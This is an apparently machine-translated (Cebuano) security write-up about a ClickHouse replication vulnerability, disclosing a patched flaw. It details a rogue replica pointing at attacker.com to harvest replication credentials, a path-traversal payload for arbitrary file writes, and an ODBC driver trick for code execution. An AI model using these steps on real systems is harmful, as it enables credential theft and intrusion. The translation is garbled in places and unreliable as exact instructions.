Kini nga artikulo magsulti sa istorya sa usa ka piho nga pagkahuyang sa ClickHouse replication protocol, ug ipakita usab kung giunsa ang pag-atake sa nawong mahimong mapalapad.
Ang ClickHouse usa ka database alang sa pagtipig sa daghang mga volume sa datos, kasagaran gamit ang labaw sa usa ka kopya. Ang clustering ug replication sa ClickHouse gitukod sa ibabaw
Ang default nga pag-instalar sa ZK wala magkinahanglan og panghimatuud, mao nga liboan ka mga ZK server nga gigamit sa pag-configure sa Kafka, Hadoop, ClickHouse anaa sa publiko.
Aron maminusan ang imong pag-atake, kinahanglan nimo kanunay nga i-configure ang pag-authenticate ug pagtugot sa pag-install sa ZooKeeper
Adunay siyempre pipila ka mga adlaw nga nakabase sa Java deserializations, apan hunahunaa nga ang usa ka tig-atake makabasa ug makasulat sa ZooKeeper, nga gigamit alang sa pagkopya sa ClickHouse.
Kung gi-configure sa cluster mode, gisuportahan sa ClickHouse ang gipang-apod-apod nga mga pangutana /clickhouse/task_queue/ddl
.
Pananglitan, naghimo ka usa ka node /clickhouse/task_queue/ddl/query-0001
uban sa sulod:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
ug pagkahuman niana, ang lamesa sa pagsulay matangtang sa mga cluster server host1 ug host2. Gisuportahan usab sa DDL ang pagpadagan sa CREATE/ALTER/DROP nga mga pangutana.
Makahadlok ang tingog? Apan asa makakuha og mga adres sa server ang tig-atake?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
mabuhat ang mga node mga haligi ΠΈ Metadata.
Kontento /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Posible ba nga i-merge ang datos gikan sa kini nga cluster? Oo, kung ang replication port (TCP/9009
) sa server chXX-address
ang firewall dili sirado ug ang pag-authenticate alang sa pagkopya dili ma-configure. Unsaon pagbypass ang authentication?
Ang usa ka tig-atake makahimo og bag-ong replika sa ZK pinaagi lamang sa pagkopya sa mga sulod gikan sa /clickhouse/tables/01-01/foobar/replicas/chXX
ug pagbag-o sa kahulogan host
.
Kontento /clickhouse/tables/01β01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Unya kinahanglan nimo nga isulti sa ubang mga replika nga adunay bag-ong bloke sa datos sa server sa tig-atake nga kinahanglan nilang kuhaon - usa ka node ang gihimo sa ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX monotonically growing counter, nga kinahanglang mas dako kay sa kataposan sa event log):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
diin tinubdan_replica - ang ngalan sa replika sa tig-atake nga gihimo sa miaging lakang, block_id - data block identifier, og - "pagkuha block" nga sugo (ug
Sunod, ang matag replika nagbasa sa usa ka bag-ong panghitabo sa log ug moadto sa usa ka server nga kontrolado sa tig-atake aron makadawat usa ka bloke sa datos (ang replikasyon nga protocol binary, nga nagdagan sa ibabaw sa HTTP). Server attacker.com
makadawat og mga hangyo:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
diin ang XXX mao ang authentication data para sa replikasyon. Sa pipila ka mga kaso, kini mahimong usa ka asoy nga adunay access sa database pinaagi sa nag-unang ClickHouse protocol ug sa HTTP protocol. Sama sa imong nakita, ang nawong sa pag-atake nahimong labi ka dako tungod kay ang ZooKeeper, nga gigamit alang sa pagkopya, gibiyaan nga wala gi-configure ang pagkumpirma.
Atong tan-awon ang function sa pagkuha sa usa ka block sa data gikan sa usa ka replika, kini gisulat uban sa bug-os nga pagsalig nga ang tanan nga mga replika anaa sa ilalum sa husto nga kontrol ug adunay pagsalig sa taliwala kanila.
code sa pagproseso sa replikasyon
Ang function nagbasa sa usa ka lista sa mga file, dayon ang ilang mga ngalan, gidak-on, sulud, ug dayon isulat kini sa file system. Angayan nga gilain nga paghulagway kung giunsa ang data gitipigan sa file system.
Adunay daghang mga subdirectory sa /var/lib/clickhouse
(default nga direktoryo sa pagtipig gikan sa configuration file):
bandila - direktoryo alang sa pagrekord
tmp - direktoryo alang sa pagtipig sa temporaryo nga mga file;
user_files β Ang mga operasyon nga adunay mga file sa mga hangyo limitado sa kini nga direktoryo (INTO OUTFILE ug uban pa);
Metadata - sql file nga adunay mga paghulagway sa lamesa;
preprocessed_configs - giproseso nga derivative configuration files gikan sa /etc/clickhouse-server
;
nga data - ang aktuwal nga direktoryo nga adunay data mismo, sa kini nga kaso alang sa matag database usa ka bulag nga subdirektoryo ang gihimo dinhi (pananglitan /var/lib/clickhouse/data/default
).
Alang sa matag lamesa, usa ka subdirectory ang gihimo sa direktoryo sa database. Ang matag kolum usa ka lahi nga file depende sa
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Ang replica nagpaabot nga makadawat og mga file nga adunay parehas nga mga ngalan kung magproseso sa usa ka bloke sa datos ug dili kini balido sa bisan unsang paagi.
Ang matinagdanon nga magbabasa tingali nakadungog na bahin sa dili luwas nga pagdugtong sa file_name sa usa ka function WriteBufferFromFile
. Oo, kini nagtugot sa usa ka tig-atake sa pagsulat arbitraryong sulod sa bisan unsa nga file sa FS uban sa user katungod clickhouse
. Aron mahimo kini, ang replika nga kontrolado sa tig-atake kinahanglan nga ibalik ang mosunod nga tubag sa hangyo (gidugang ang mga linya sa linya aron dali masabtan):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
ug pagkahuman sa pagdugtong ../../../../../../../../../tmp/pwned
ang file isulat /tmp/pwned uban sa sulod hellofromzookeeper.
Adunay daghang mga kapilian alang sa paghimo sa kapabilidad sa pagsulat sa file ngadto sa remote code execution (RCE).
Mga eksternal nga diksyonaryo sa RCE
Sa daan nga mga bersyon, ang direktoryo nga adunay mga setting sa ClickHouse gitipigan nga adunay mga katungod sa tiggamit clickhouse default. Ang mga file sa setting mao ang mga XML file nga gibasa sa serbisyo sa pagsugod ug dayon gi-cache /var/lib/clickhouse/preprocessed_configs
. Kung mahitabo ang mga pagbag-o, kini gibasa pag-usab. Kung naa kay access sa /etc/clickhouse-server
ang usa ka tig-atake makahimo sa iyang kaugalingon root
.
ODBC ngadto sa RCE
Sa pag-instalar sa usa ka pakete, usa ka user ang gibuhat clickhouse
, apan ang direktoryo sa balay niini wala gihimo /nonexistent
. Bisan pa, kung mogamit mga eksternal nga diksyonaryo, o alang sa ubang mga hinungdan, ang mga administrador maghimo usa ka direktoryo /nonexistent
ug ihatag ang tiggamit clickhouse
access sa pagsulat niini (SSZB! gibanabana. tighubad).
Gisuportahan sa ClickHouse odbc-bridge
, mao nga dili na posible nga ipiho ang agianan sa drayber gikan sa hangyo. Apan mahimo bang magsulat ang usa ka tig-atake sa direktoryo sa balay gamit ang pagkahuyang nga gihulagway sa ibabaw?
Magbuhat ta ug file ~/.odbc.ini
nga adunay sulod nga sama niini:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
unya sa pagsugod SELECT * FROM odbc('DSN=lalala', 'test', 'test');
ang librarya makarga test.so
ug nakadawat RCE (salamat
Kini ug uban pang mga kahuyangan giayo sa ClickHouse nga bersyon 19.14.3. Pag-atiman sa imong ClickHouse ug ZooKeepers!
Source: www.habr.com